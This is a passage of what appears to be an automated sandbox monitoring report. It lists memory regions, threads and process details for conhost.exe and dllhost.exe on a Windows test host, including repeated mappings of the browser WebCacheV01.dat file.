entry_point = 0x0 region_type = private name = "private_0x0000008c79340000" filename = "" Region: id = 1018 start_va = 0x8c793a0000 end_va = 0x8c793a6fff entry_point = 0x0 region_type = private name = "private_0x0000008c793a0000" filename = "" Region: id = 1019 start_va = 0x8c794b0000 end_va = 0x8c7952dfff entry_point = 0x8c794b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1020 start_va = 0x8c79530000 end_va = 0x8c796b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008c79530000" filename = "" Region: id = 1021 start_va = 0x8c796c0000 end_va = 0x8c796c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008c796c0000" filename = "" Region: id = 1022 start_va = 0x8c796d0000 end_va = 0x8c796d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008c796d0000" filename = "" Region: id = 1023 start_va = 0x8c796e0000 end_va = 0x8c796e0fff entry_point = 0x0 region_type = private name = "private_0x0000008c796e0000" filename = "" Region: id = 1024 start_va = 0x8c796f0000 end_va = 0x8c796f0fff entry_point = 0x0 region_type = private name = "private_0x0000008c796f0000" filename = "" Region: id = 1025 start_va = 0x8c79800000 end_va = 0x8c7980ffff entry_point = 0x0 region_type = private name = "private_0x0000008c79800000" filename = "" Region: id = 1026 start_va = 0x8c79810000 end_va = 0x8c79990fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008c79810000" filename = "" Region: id = 1027 start_va = 0x8c799a0000 end_va = 0x8c7ad9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008c799a0000" filename = "" Region: id = 1028 start_va = 0x8c7ada0000 end_va = 0x8c7b199fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000008c7ada0000" filename = "" Region: id = 1029 start_va = 0x7ff7a9280000 end_va = 0x7ff7a937ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7a9280000" filename = "" Region: id = 1030 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1031 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1032 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1033 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1034 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1035 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1036 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1037 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Thread: id = 91 os_tid = 0x83c Thread: id = 94 os_tid = 0x4fc Thread: id = 97 os_tid = 0x234 Process: id = "11" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x59859000" os_pid = "0x834" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x5f4" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff" cur_dir = "C:\\Windows" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1000 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1001 start_va = 0x53b05f0000 end_va = 0x53b060ffff entry_point = 0x0 region_type = private name = "private_0x00000053b05f0000" filename = "" Region: id = 1002 start_va = 0x53b0610000 end_va = 0x53b061efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000053b0610000" filename = "" Region: id = 1003 start_va = 0x53b0620000 end_va = 0x53b065ffff entry_point = 0x0 region_type = private name = "private_0x00000053b0620000" filename = "" Region: id = 1004 start_va = 0x7ff7a9b70000 end_va = 0x7ff7a9b92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7a9b70000" filename = "" Region: id = 1005 start_va = 0x7ff7a9b99000 end_va = 0x7ff7a9b99fff entry_point = 0x0 region_type = private name = "private_0x00007ff7a9b99000" filename = "" Region: id = 1006 start_va = 0x7ff7a9b9e000 end_va = 0x7ff7a9b9ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7a9b9e000" filename = "" Region: id = 1007 start_va = 0x7ff7a9d00000 end_va = 0x7ff7a9d5afff entry_point = 0x7ff7a9d08560 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 1008 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1009 start_va = 0x53b07e0000 end_va = 0x53b08dffff entry_point = 0x0 region_type = private name = "private_0x00000053b07e0000" filename = "" Region: id = 1010 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1011 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1038 start_va = 0x53b05f0000 end_va = 0x53b05fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000053b05f0000" filename = "" Region: id = 1039 start_va = 0x53b0600000 end_va = 0x53b0606fff entry_point = 0x0 region_type = private name = "private_0x00000053b0600000" filename = "" Region: id = 1040 start_va = 0x53b0660000 end_va = 0x53b06ddfff entry_point = 0x53b0660000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1041 start_va = 0x53b06e0000 end_va = 0x53b06e6fff entry_point = 0x0 region_type = private name = "private_0x00000053b06e0000" filename = "" Region: id = 1042 start_va = 0x53b06f0000 end_va = 0x53b06f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000053b06f0000" filename = "" Region: id = 1043 start_va = 0x53b0700000 end_va = 0x53b0700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000053b0700000" filename = "" Region: id = 1044 start_va = 0x53b0710000 end_va = 0x53b0710fff entry_point = 0x0 region_type = private name = "private_0x00000053b0710000" filename = "" Region: id = 1045 start_va = 0x53b0720000 end_va = 0x53b0720fff entry_point = 0x0 region_type = private name = "private_0x00000053b0720000" filename = "" Region: id = 1046 start_va = 0x53b07a0000 end_va = 0x53b07affff entry_point = 0x0 region_type = private name = "private_0x00000053b07a0000" filename = "" Region: id = 1047 start_va = 0x53b08e0000 end_va = 0x53b0a67fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000053b08e0000" filename = "" Region: id = 1048 start_va = 0x53b0a70000 end_va = 0x53b0bf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000053b0a70000" filename = "" Region: id = 1049 start_va = 0x53b0c00000 end_va = 0x53b1ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000053b0c00000" filename = "" Region: id = 1050 start_va = 0x53b2000000 end_va = 0x53b23f9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000053b2000000" filename = "" Region: id = 1051 start_va = 0x7ff7a9a70000 end_va = 0x7ff7a9b6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7a9a70000" filename = "" Region: id = 1052 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1053 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1054 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1055 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1056 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1057 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1058 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1059 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Thread: id = 92 os_tid = 0x828 Thread: id = 95 os_tid = 0x85c Thread: id = 99 os_tid = 0x9d0 Process: id = "12" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x5f334000" os_pid = "0x5ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0xaa0" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1071 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1072 start_va = 0x6102bd0000 end_va = 0x6102bdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006102bd0000" filename = "" Region: id = 1073 start_va = 0x6102be0000 end_va = 0x6102be6fff entry_point = 0x0 region_type = private name = "private_0x0000006102be0000" filename = "" Region: id = 1074 start_va = 0x6102bf0000 end_va = 0x6102bfefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006102bf0000" filename = "" Region: id = 1075 start_va = 0x6102c00000 end_va = 0x6102cfffff entry_point = 0x0 region_type = private name = "private_0x0000006102c00000" filename = "" Region: id = 1076 start_va = 0x6102d00000 end_va = 0x6102d03fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006102d00000" filename = "" Region: id = 1077 start_va = 0x6102d10000 end_va = 0x6102d11fff entry_point = 0x0 region_type = private name = "private_0x0000006102d10000" filename = "" Region: id = 1078 start_va = 0x6102d20000 end_va = 0x6102d9dfff entry_point = 0x6102d20000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1079 start_va = 0x6102da0000 end_va = 0x6102da6fff entry_point = 0x0 region_type = private name = "private_0x0000006102da0000" filename = "" Region: id = 1080 start_va = 0x6102db0000 end_va = 0x6102db0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006102db0000" filename = "" Region: id = 1081 start_va = 0x6102dc0000 end_va = 0x6102dc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006102dc0000" filename = "" Region: id = 1082 start_va = 0x6102dd0000 end_va = 0x6102dd0fff entry_point = 0x0 region_type = private name = "private_0x0000006102dd0000" filename = "" Region: id = 1083 start_va = 0x6102de0000 end_va = 0x6102de0fff entry_point = 0x0 region_type = private name = "private_0x0000006102de0000" filename = "" Region: id = 1084 start_va = 0x6102df0000 end_va = 0x6102df3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006102df0000" filename = "" Region: id = 1085 start_va = 0x6102e00000 end_va = 0x6102e06fff entry_point = 0x0 region_type = private name = "private_0x0000006102e00000" filename = "" Region: id = 1086 start_va = 0x6102e10000 end_va = 0x6102e10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006102e10000" filename = "" Region: id = 1087 start_va = 0x6102e20000 end_va = 0x6102f1ffff entry_point = 0x0 region_type = private name = "private_0x0000006102e20000" filename = "" Region: id = 1088 start_va = 0x6102f20000 end_va = 0x610301ffff entry_point = 0x0 region_type = private name = "private_0x0000006102f20000" filename = "" Region: id = 1089 start_va = 0x6103020000 end_va = 0x6103020fff entry_point = 0x0 region_type = private name = "private_0x0000006103020000" filename = "" Region: id = 1090 start_va = 0x6103030000 end_va = 0x6103030fff entry_point = 0x0 region_type = private name = "private_0x0000006103030000" filename = "" Region: id = 1091 start_va = 0x6103040000 end_va = 0x610304ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006103040000" filename = "" Region: id = 1092 start_va = 0x6103050000 end_va = 0x610305ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006103050000" filename = "" Region: id = 1093 start_va = 0x6103060000 end_va = 0x610306ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006103060000" filename = "" Region: id = 1094 start_va = 0x6103070000 end_va = 0x610307ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006103070000" filename = "" Region: id = 1095 start_va = 0x6103080000 end_va = 0x610308ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006103080000" filename = "" Region: id = 1096 start_va = 0x6103090000 end_va = 0x610309ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006103090000" filename = "" Region: id = 1097 start_va = 0x61030a0000 end_va = 0x61030a7fff entry_point = 0x0 region_type = private name = "private_0x00000061030a0000" filename = "" Region: id = 1098 start_va = 0x61030b0000 end_va = 0x61030b0fff entry_point = 0x0 region_type = private name = "private_0x00000061030b0000" filename = "" Region: id = 1099 start_va = 0x61030c0000 end_va = 0x61030c0fff entry_point = 0x0 region_type = private name = "private_0x00000061030c0000" filename = "" Region: id = 1100 start_va = 0x61030d0000 end_va = 0x61030d3fff entry_point = 0x0 region_type = private name = "private_0x00000061030d0000" filename = "" Region: id = 1101 start_va = 0x61030e0000 end_va = 0x61030e1fff entry_point = 0x0 region_type = private name = "private_0x00000061030e0000" filename = "" Region: id = 1102 start_va = 0x61030f0000 end_va = 0x61030fffff entry_point = 0x0 region_type = private name = "private_0x00000061030f0000" filename = "" Region: id = 1103 start_va = 0x6103100000 end_va = 0x61033d4fff entry_point = 0x6103100000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1104 start_va = 0x61033e0000 end_va = 0x61034dffff entry_point = 0x0 region_type = private name = "private_0x00000061033e0000" filename = "" Region: id = 1105 start_va = 0x61034e0000 end_va = 0x61035dffff entry_point = 0x0 region_type = private name = "private_0x00000061034e0000" filename = "" Region: id = 1106 start_va = 0x61035e0000 end_va = 0x61036dffff entry_point = 0x0 region_type = private name = "private_0x00000061035e0000" filename = "" Region: id = 1107 start_va = 0x61036e0000 end_va = 0x6103867fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000061036e0000" filename = "" Region: id = 1108 start_va = 0x6103870000 end_va = 0x61039f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006103870000" filename = "" Region: id = 1109 start_va = 0x6103a00000 end_va = 0x6104dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006103a00000" filename = "" Region: id = 1110 start_va = 0x6104e00000 end_va = 0x6104e0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006104e00000" filename = "" Region: id = 1111 start_va = 0x6104e10000 end_va = 0x6104e1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006104e10000" filename = "" Region: id = 1112 start_va = 0x6104e20000 end_va = 0x6104e2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006104e20000" filename = "" Region: id = 1113 start_va = 0x6104e30000 end_va = 0x6104e3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006104e30000" filename = "" Region: id = 1114 start_va = 0x6104e40000 end_va = 0x6104e4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006104e40000" filename = "" Region: id = 1115 start_va = 0x6104e50000 end_va = 0x6104e5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006104e50000" filename = "" Region: id = 1116 start_va = 0x6104e60000 end_va = 0x6104e60fff entry_point = 0x0 region_type = private name = "private_0x0000006104e60000" filename = "" Region: id = 1117 start_va = 0x6104e70000 end_va = 0x6104e77fff entry_point = 0x0 region_type = private name = "private_0x0000006104e70000" filename = "" Region: id = 1118 start_va = 0x6104e90000 end_va = 0x6104e9ffff entry_point = 0x6104e90000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1119 start_va = 0x6104ea0000 end_va = 0x6104eaffff entry_point = 0x6104ea0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1120 start_va = 0x6104eb0000 end_va = 0x6104ebffff entry_point = 0x6104eb0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1121 start_va = 0x6104ed0000 end_va = 0x6104edffff entry_point = 0x0 region_type = private name = "private_0x0000006104ed0000" filename = "" Region: id = 1122 start_va = 0x6104ee0000 end_va = 0x6104fcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006104ee0000" filename = "" Region: id = 1123 start_va = 0x6104fd0000 end_va = 0x61050cffff entry_point = 0x0 region_type = private name = "private_0x0000006104fd0000" filename = "" Region: id = 1124 start_va = 0x61050d0000 end_va = 0x61051cffff entry_point = 0x0 region_type = private name = "private_0x00000061050d0000" filename = "" Region: id = 1125 start_va = 0x61051d0000 end_va = 0x61061cffff entry_point = 0x0 region_type = private name = "private_0x00000061051d0000" filename = "" Region: id = 1126 start_va = 0x61061d0000 end_va = 0x610625ffff entry_point = 0x0 region_type = private name = "private_0x00000061061d0000" filename = "" Region: id = 1127 start_va = 0x6106260000 end_va = 0x610a25ffff entry_point = 0x0 region_type = private name = "private_0x0000006106260000" filename = "" Region: id = 1128 start_va = 0x610a260000 end_va = 0x610e25ffff entry_point = 0x0 region_type = private name = "private_0x000000610a260000" filename = "" Region: id = 1129 start_va = 0x610e270000 end_va = 0x610e27ffff entry_point = 0x610e270000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1130 start_va = 0x610e290000 end_va = 0x610e29ffff entry_point = 0x610e290000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1131 start_va = 0x610e2a0000 end_va = 0x610e2affff entry_point = 0x610e2a0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1132 start_va = 0x610e2b0000 end_va = 0x610e2bffff entry_point = 0x610e2b0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1133 start_va = 0x610e2c0000 end_va = 0x610e2cffff entry_point = 0x610e2c0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1134 start_va = 0x610e2d0000 end_va = 0x610e2dffff entry_point = 0x610e2d0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1135 start_va = 0x610e2e0000 end_va = 0x610e2effff entry_point = 0x610e2e0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1136 start_va = 0x610e2f0000 end_va = 0x610e2fffff entry_point = 0x610e2f0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1137 start_va = 0x610e300000 end_va = 0x610e30ffff entry_point = 0x610e300000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1138 start_va = 0x610e310000 end_va = 0x610e317fff entry_point = 0x0 region_type = private name = "private_0x000000610e310000" filename = "" Region: id = 1139 start_va = 0x610e320000 end_va = 0x610e32ffff entry_point = 0x610e320000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1140 start_va = 0x610e330000 end_va = 0x610e33ffff entry_point = 0x610e330000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1141 start_va = 0x610e340000 end_va = 0x610e34ffff entry_point = 0x610e340000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1142 start_va = 0x610e350000 end_va = 0x610e35ffff entry_point = 0x610e350000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1143 start_va = 0x610e360000 end_va = 0x610e367fff entry_point = 0x0 region_type = private name = "private_0x000000610e360000" filename = "" Region: id = 1144 start_va = 0x610e370000 end_va = 0x610e37ffff entry_point = 0x610e370000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1145 start_va = 0x610e380000 end_va = 0x610e38ffff entry_point = 0x610e380000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1146 start_va = 0x610e390000 end_va = 0x610e39ffff entry_point = 0x610e390000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1147 start_va = 0x610e3a0000 end_va = 0x610e49ffff entry_point = 0x0 region_type = private name = "private_0x000000610e3a0000" filename = "" Region: id = 1148 start_va = 0x610e4a0000 end_va = 0x610e4affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000610e4a0000" filename = "" Region: id = 1149 start_va = 0x610e4b0000 end_va = 0x610e4bffff entry_point = 0x610e4b0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1150 start_va = 0x610e4c0000 end_va = 0x610e4cffff entry_point = 0x610e4c0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1151 start_va = 0x610e4d0000 end_va = 0x610e4dffff entry_point = 0x610e4d0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: 